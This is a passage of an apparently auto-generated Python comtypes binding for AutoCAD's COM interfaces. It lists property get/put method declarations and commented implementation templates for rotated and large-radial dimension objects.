)),\n COMMETHOD([dispid(63), 'propput'], HRESULT, 'Arrowhead2Type',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(64), 'propget'], HRESULT, 'Measurement',\n ( ['out', 'retval'], POINTER(c_double), 'bVal' )),\n COMMETHOD([dispid(65), 'nonbrowsable', 'propget'], HRESULT, 'Arrowhead1Block',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(65), 'nonbrowsable', 'propput'], HRESULT, 'Arrowhead1Block',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propget'], HRESULT, 'Arrowhead2Block',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propput'], HRESULT, 'Arrowhead2Block',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(80), 'propget'], HRESULT, 'DimensionLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(80), 'propput'], HRESULT, 'DimensionLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(81), 'propget'], HRESULT, 'ExtLine1Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(81), 'propput'], HRESULT, 'ExtLine1Linetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(82), 'propget'], HRESULT, 'ExtLine2Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(82), 'propput'], HRESULT, 'ExtLine2Linetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(83), 'propget'], HRESULT, 'ExtLineFixedLenSuppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bFixedLen' )),\n COMMETHOD([dispid(83), 'propput'], HRESULT, 'ExtLineFixedLenSuppress',\n ( ['in'], VARIANT_BOOL, 'bFixedLen' )),\n COMMETHOD([dispid(84), 'propget'], HRESULT, 'ExtLineFixedLen',\n ( ['out', 'retval'], POINTER(c_double), 'FixedLen' )),\n COMMETHOD([dispid(84), 'propput'], HRESULT, 'ExtLineFixedLen',\n ( ['in'], c_double, 'FixedLen' )),\n COMMETHOD([dispid(85), 'propget'], HRESULT, 'DimConstrForm',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsDynamic' )),\n COMMETHOD([dispid(85), 'propput'], HRESULT, 'DimConstrForm',\n ( ['in'], VARIANT_BOOL, 'bIsDynamic' )),\n COMMETHOD([dispid(86), 'propget'], HRESULT, 'DimConstrReference',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsReference' )),\n COMMETHOD([dispid(86), 'propput'], HRESULT, 'DimConstrReference',\n ( ['in'], VARIANT_BOOL, 'bIsReference' )),\n COMMETHOD([dispid(87), 'propget'], HRESULT, 'DimConstrName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(87), 'propput'], HRESULT, 'DimConstrName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(88), 'propget'], HRESULT, 'DimConstrExpression',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrExpression' )),\n COMMETHOD([dispid(88), 'propput'], HRESULT, 'DimConstrExpression',\n ( ['in'], BSTR, 'bstrExpression' )),\n COMMETHOD([dispid(89), 'propget'], HRESULT, 'DimConstrValue',\n ( ['out', 'retval'], POINTER(BSTR), 'Value' )),\n COMMETHOD([dispid(89), 'propput'], HRESULT, 'DimConstrValue',\n ( ['in'], BSTR, 'Value' )),\n COMMETHOD([dispid(90), 'propget'], HRESULT, 'DimConstrDesc',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrDescription' )),\n COMMETHOD([dispid(90), 'propput'], HRESULT, 'DimConstrDesc',\n ( ['in'], BSTR, 'bstrDescription' )),\n COMMETHOD([dispid(1574), 'propget'], HRESULT, 'SubUnitsSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'suffix' )),\n COMMETHOD([dispid(1574), 'propput'], HRESULT, 'SubUnitsSuffix',\n ( ['in'], BSTR, 'suffix' )),\n COMMETHOD([dispid(1575), 'propget'], HRESULT, 'SubUnitsFactor',\n ( ['out', 'retval'], POINTER(c_double), 'factor' )),\n COMMETHOD([dispid(1575), 'propput'], HRESULT, 'SubUnitsFactor',\n ( ['in'], c_double, 'factor' )),\n COMMETHOD([dispid(1576), 'propget'], HRESULT, 'AltSubUnitsSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'suffix' )),\n COMMETHOD([dispid(1576), 'propput'], HRESULT, 'AltSubUnitsSuffix',\n ( ['in'], BSTR, 'suffix' )),\n COMMETHOD([dispid(1577), 'propget'], HRESULT, 'AltSubUnitsFactor',\n ( ['out', 'retval'], POINTER(c_double), 'factor' )),\n COMMETHOD([dispid(1577), 'propput'], HRESULT, 'AltSubUnitsFactor',\n ( ['in'], c_double, 'factor' )),\n]\n################################################################\n## code template for IAcadDimRotated implementation\n##class IAcadDimRotated_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bAlternate\n## def _set(self, bAlternate):\n## '-no docstring-'\n## AltUnits = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return precision\n## def _set(self, precision):\n## '-no docstring-'\n## AltUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## AltUnitsScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltRoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltTolerancePrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Units\n## def _set(self, Units):\n## '-no docstring-'\n## AltUnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextPrefix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## DimensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## ExtensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Prec\n## def _set(self, Prec):\n## '-no docstring-'\n## PrimaryUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return extend\n## def _set(self, extend):\n## '-no docstring-'\n## DimensionLineExtend = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return extend\n## def _set(self, extend):\n## '-no docstring-'\n## ExtensionLineExtend = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fittype\n## def _set(self, fittype):\n## '-no docstring-'\n## Fit = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## FractionFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## HorizontalTextPosition = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LinearScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return format\n## def _set(self, format):\n## '-no docstring-'\n## UnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return lweight\n## def _set(self, lweight):\n## '-no docstring-'\n## ExtensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## RoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLine1Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLine2Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## ExtLine1Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## ExtLine2Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## DimLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## ForceLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextOutsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Offset\n## def _set(self, Offset):\n## '-no docstring-'\n## ExtensionLineOffset = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return weight\n## def _set(self, weight):\n## '-no docstring-'\n## DimensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowheadSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Arrowhead1Type = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Arrowhead2Type = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Measurement(self):\n## '-no docstring-'\n## #return bVal\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## Arrowhead1Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## Arrowhead2Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## DimensionLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## ExtLine1Linetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## ExtLine2Linetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bFixedLen\n## def _set(self, bFixedLen):\n## '-no docstring-'\n## ExtLineFixedLenSuppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return FixedLen\n## def _set(self, FixedLen):\n## '-no docstring-'\n## ExtLineFixedLen = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIsDynamic\n## def _set(self, bIsDynamic):\n## '-no docstring-'\n## DimConstrForm = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIsReference\n## def _set(self, bIsReference):\n## '-no docstring-'\n## DimConstrReference = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## DimConstrName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrExpression\n## def _set(self, bstrExpression):\n## '-no docstring-'\n## DimConstrExpression = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Value\n## def _set(self, Value):\n## '-no docstring-'\n## DimConstrValue = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrDescription\n## def _set(self, bstrDescription):\n## '-no docstring-'\n## DimConstrDesc = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return suffix\n## def _set(self, suffix):\n## '-no docstring-'\n## SubUnitsSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## SubUnitsFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return suffix\n## def _set(self, suffix):\n## '-no docstring-'\n## AltSubUnitsSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## AltSubUnitsFactor = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcDimCenterType'\nacCenterMark = 0\nacCenterLine = 1\nacCenterNone = 2\nAcDimCenterType = c_int # enum\nIAcadDimRadialLarge._methods_ = [\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'AltUnits',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bAlternate' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'AltUnits',\n ( ['in'], VARIANT_BOOL, 'bAlternate' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'AltUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'precision' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'AltUnitsPrecision',\n ( ['in'], AcDimPrecision, 'precision' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'AltUnitsScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'scale' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'AltUnitsScale',\n ( ['in'], ACAD_NOUNITS, 'scale' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'AltRoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'AltRoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'AltTolerancePrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Distance' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'AltTolerancePrecision',\n ( ['in'], AcDimPrecision, 'Distance' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'AltUnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimUnits), 'Units' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'AltUnitsFormat',\n ( ['in'], AcDimUnits, 'Units' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'AltTextPrefix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'AltTextPrefix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'AltTextSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'AltTextSuffix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(43), 'propget'], HRESULT, 'CenterType',\n ( ['out', 'retval'], POINTER(AcDimCenterType), 'Type' )),\n COMMETHOD([dispid(43), 'propput'], HRESULT, 'CenterType',\n ( ['in'], AcDimCenterType, 'Type' )),\n COMMETHOD([dispid(44), 'propget'], HRESULT, 'CenterMarkSize',\n ( ['out', 'retval'], POINTER(c_double), 'Type' )),\n COMMETHOD([dispid(44), 'propput'], HRESULT, 'CenterMarkSize',\n ( ['in'], c_double, 'Type' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'DimensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'DimensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Prec' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['in'], AcDimPrecision, 'Prec' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'FractionFormat',\n ( ['out', 'retval'], POINTER(AcDimFractionType), 'Type' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'FractionFormat',\n ( ['in'], AcDimFractionType, 'Type' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'Fit',\n ( ['out', 'retval'], POINTER(AcDimFit), 'fittype' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'Fit',\n ( ['in'], AcDimFit, 'fittype' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'LinearScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'Type' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'LinearScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'Type' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'UnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimLUnits), 'format' )),\n COMMETHOD([dispid(22), 'propput'], HRESULT, 'UnitsFormat',\n ( ['in'], AcDimLUnits, 'format' )),\n COMMETHOD([dispid(24), 'propget'], HRESULT, 'RoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(24), 'propput'], HRESULT, 'RoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'DimLineSuppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'DimLineSuppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'TextInsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'TextInsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(31), 'propget'], HRESULT, 'TextInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(31), 'propput'], HRESULT, 'TextInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(32), 'propget'], HRESULT, 'ForceLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(32), 'propput'], HRESULT, 'ForceLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(33), 'propget'], HRESULT, 'TextOutsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(33), 'propput'], HRESULT, 'TextOutsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(48), 'propget'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(48), 'propput'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(49), 'propget'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(49), 'propput'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(50), 'propget'], HRESULT, 'AltSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(50), 'propput'], HRESULT, 'AltSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(51), 'propget'], HRESULT, 'AltSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(51), 'propput'], HRESULT, 'AltSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(52), 'propget'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(52), 'propput'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(53), 'propget'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(53), 'propput'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(54), 'propget'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(54), 'propput'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(55), 'propget'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(55), 'propput'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(56), 'propget'], HRESULT, 'SuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(56), 'propput'], HRESULT, 'SuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(57), 'propget'], HRESULT, 'SuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(57), 'propput'], HRESULT, 'SuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(58), 'propget'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(58), 'propput'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(59), 'propget'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(59), 'propput'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(60), 'propget'], HRESULT, 'DimensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'weight' )),\n COMMETHOD([dispid(60), 'propput'], HRESULT, 'DimensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'weight' )),\n COMMETHOD([dispid(61), 'propget'], HRESULT, 'ArrowheadSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(61), 'propput'], HRESULT, 'ArrowheadSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(63), 'propget'], HRESULT, 'ArrowheadType',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(63), 'propput'], HRESULT, 'ArrowheadType',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(64), 'propget'], HRESULT, 'Measurement',\n ( ['out', 'retval'], POINTER(c_double), 'bVal' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propget'], HRESULT, 'ArrowheadBlock',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propput'], HRESULT, 'ArrowheadBlock',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(68), 'propget'], HRESULT, 'OverrideCenter',\n ( ['out', 'retval'], POINTER(VARIANT), 'overrideCenterPos' )),\n COMMETHOD([dispid(68), 'propput'], HRESULT, 'OverrideCenter',\n ( ['in'], VARIANT, 'overrideCenterPos' )),\n COMMETHOD([dispid(69), 'propget'], HRESULT, 'JogLocation',\n ( ['out', 'retval'], POINTER(VARIANT), 'jogPos' )),\n COMMETHOD([dispid(69), 'propput'], HRESULT, 'JogLocation',\n ( ['in'], VARIANT, 'jogPos' )),\n COMMETHOD([dispid(70), 'propget'], HRESULT, 'JogAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'JogAngle' )),\n COMMETHOD([dispid(70), 'propput'], HRESULT, 'JogAngle',\n ( ['in'], ACAD_ANGLE, 'JogAngle' )),\n COMMETHOD([dispid(71), 'propget'], HRESULT, 'Center',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVar' )),\n COMMETHOD([dispid(71), 'propput'], HRESULT, 'Center',\n ( ['in'], VARIANT, 'pVar' )),\n COMMETHOD([dispid(72), 'propget'], HRESULT, 'ChordPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(72), 'propput'], HRESULT, 'ChordPoint',\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(80), 'propget'], HRESULT, 'DimensionLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(80), 'propput'], HRESULT, 'DimensionLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n]\n################################################################\n## code template for IAcadDimRadialLarge implementation\n##class IAcadDimRadialLarge_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bAlternate\n## def _set(self, bAlternate):\n## '-no docstring-'\n## AltUnits = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return precision\n## def _set(self, precision):\n## '-no docstring-'\n## AltUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## AltUnitsScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltRoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no 